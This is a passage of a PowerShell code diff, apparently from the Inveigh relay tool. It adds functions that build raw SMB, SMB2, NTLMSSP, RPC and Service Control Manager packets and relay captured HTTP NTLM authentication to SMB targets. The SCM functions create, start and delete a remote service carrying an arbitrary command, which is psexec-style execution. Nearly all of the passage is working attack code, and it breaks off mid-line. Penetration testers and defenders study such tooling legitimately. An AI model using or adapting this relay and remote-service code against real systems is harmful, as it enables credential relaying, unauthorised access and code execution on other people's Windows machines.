+ $packet_SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest + } + + function New-PacketSMB2WriteRequest + { + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("Length",$packet_write_length) + $packet_SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SMB2WriteRequest + } + + function New-PacketSMB2CloseRequest + { + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest + } + + function New-PacketSMB2TreeDisconnectRequest + { + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest + } + + function New-PacketSMB2SessionLogoffRequest + { + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest + } + + #NTLM + + function New-PacketNTLMSSPNegotiate + { + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $packet_NTLMSSPNegotiate.Add("InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate + } + + function New-PacketNTLMSSPAuth + { + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth + } + + #RPC + + function New-PacketRPCBind + { + param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = [System.BitConverter]::GetBytes($packet_call_ID) + + $packet_RPCBind = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCBind.Add("Version",[Byte[]](0x05)) + $packet_RPCBind.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCBind.Add("PacketType",[Byte[]](0x0b)) + $packet_RPCBind.Add("PacketFlags",[Byte[]](0x03)) + $packet_RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCBind.Add("FragLength",[Byte[]](0x48,0x00)) + $packet_RPCBind.Add("AuthLength",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("CallID",$packet_call_ID_bytes) + $packet_RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10)) + $packet_RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("NumCtxItems",$packet_num_ctx_items) + $packet_RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID",$packet_context_ID) + $packet_RPCBind.Add("NumTransItems",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown2",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface",$packet_UUID) + $packet_RPCBind.Add("InterfaceVer",$packet_UUID_version) + $packet_RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60)) + $packet_RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00)) + + if($packet_num_ctx_items[0] -eq 2) + { + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",[Byte[]](0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a)) + $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + } + elseif($packet_num_ctx_items[0] -eq 3) + { + $packet_RPCBind.Add("ContextID2",[Byte[]](0x01,0x00)) + $packet_RPCBind.Add("NumTransItems2",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown3",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("InterfaceVer2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) + $packet_RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x02,0x00)) + $packet_RPCBind.Add("NumTransItems3",[Byte[]](0x01)) + $packet_RPCBind.Add("Unknown4",[Byte[]](0x00)) + $packet_RPCBind.Add("Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) + $packet_RPCBind.Add("InterfaceVer3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00)) + $packet_RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x04)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + if($packet_call_ID -eq 3) + { + $packet_RPCBind.Add("AuthType",[Byte[]](0x0a)) + $packet_RPCBind.Add("AuthLevel",[Byte[]](0x02)) + $packet_RPCBind.Add("AuthPadLength",[Byte[]](0x00)) + $packet_RPCBind.Add("AuthReserved",[Byte[]](0x00)) + $packet_RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) + $packet_RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) + } + + return $packet_RPCBind + } + + function New-PacketRPCRequest + { + param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) + + if($packet_auth_length -gt 0) + { + $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 + } + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) + [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) + $packet_auth_length = $packet_auth_length[0,1] + + $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RPCRequest.Add("Version",[Byte[]](0x05)) + $packet_RPCRequest.Add("VersionMinor",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketType",[Byte[]](0x00)) + $packet_RPCRequest.Add("PacketFlags",$packet_flags) + $packet_RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_RPCRequest.Add("FragLength",$packet_frag_length) + $packet_RPCRequest.Add("AuthLength",$packet_auth_length) + $packet_RPCRequest.Add("CallID",$packet_call_ID) + $packet_RPCRequest.Add("AllocHint",$packet_alloc_hint) + $packet_RPCRequest.Add("ContextID",$packet_context_ID) + $packet_RPCRequest.Add("Opnum",$packet_opnum) + + if($packet_data.Length) + { + $packet_RPCRequest.Add("Data",$packet_data) + } + + return $packet_RPCRequest + } + + #SCM + + function New-PacketSCMOpenSCManagerW + { + param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) + [Byte[]]$packet_frag_length = $packet_write_length[0,1] + [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) + $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID1 += 0x00,0x00 + $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID2 += 0x00,0x00 + + $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) + + return $packet_SCMOpenSCManagerW + } + + function New-PacketSCMCreateServiceW + { + param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, + [Byte[]]$packet_command,[Byte[]]$packet_command_length) + + $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID += 0x00,0x00 + + $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMCreateServiceW.Add("ContextHandle",$packet_context_handle) + $packet_SCMCreateServiceW.Add("ServiceName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("ServiceName",$packet_service) + $packet_SCMCreateServiceW.Add("DisplayName_ReferentID",$packet_referent_ID) + $packet_SCMCreateServiceW.Add("DisplayName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("DisplayName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("DisplayName",$packet_service) + $packet_SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $packet_SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("BinaryPathName_MaxCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("BinaryPathName_ActualCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("BinaryPathName",$packet_command) + $packet_SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SCMCreateServiceW + } + + function New-PacketSCMStartServiceW + { + param([Byte[]]$packet_context_handle) + + $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMStartServiceW.Add("ContextHandle",$packet_context_handle) + $packet_SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SCMStartServiceW + } + + function New-PacketSCMDeleteServiceW + { + param([Byte[]]$packet_context_handle) + + $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMDeleteServiceW.Add("ContextHandle",$packet_context_handle) + + return $packet_SCMDeleteServiceW + } + + function New-PacketSCMCloseServiceHandle + { + param([Byte[]]$packet_context_handle) + + $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCM_CloseServiceW.Add("ContextHandle",$packet_context_handle) + + return $packet_SCM_CloseServiceW + } + +} + +# Relay Functions ScriptBlock +$SMB_relay_functions_scriptblock = +{ + + function SMBNTLMChallenge + { + param ([Byte[]]$payload_bytes) + + $payload = [System.BitConverter]::ToString($payload_bytes) + $payload = $payload -replace "-","" + $NTLM_index = $payload.IndexOf("4E544C4D53535000") + + if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") + { + $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) + } + + return $NTLM_challenge + } + + function SMBRelayChallenge + { + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version,$signing_check) + + if($SMB_relay_socket) + { + $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() + } + + $SMB_client_receive = New-Object System.Byte[] 1024 + $SMB_client_stage = 'NegotiateSMB' + + :SMB_relay_challenge_loop while($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $SMB_client_stage = 'NTLMSSPNegotiate' + } + else + { + $SMB_client_stage = 'NegotiateSMB2' + } + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')) + { + $inveigh.target_list.Remove($SMB_relay_socket.Client.RemoteEndpoint.Address.IPaddressToString) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Removed target $($SMB_relay_socket.Client.RemoteEndpoint.Address.IPaddressToString) due to signing requirement") + $SMB_relay_socket.Close() + $SMB_client_receive = $null # ? + $SMB_client_stage = 'exit' + } + elseif($signing_check) + { + $SMB_relay_socket.Close() + $SMB_client_stage = 'exit' + } + + } + + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' + } + + } + + } + + return $SMB_client_receive + } + + function SMBRelayResponse + { + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$SMB_session_ID) + + $SMB_client_receive = New-Object System.Byte[] 1024 + + if($SMB_relay_socket) + { + $SMB_relay_response_stream = $SMB_relay_socket.GetStream() + } + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID + $packet_SMB_header["UserID"] = $SMB_user_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_auth + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID = 3 + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x00,0x00 $SMB2_message_ID 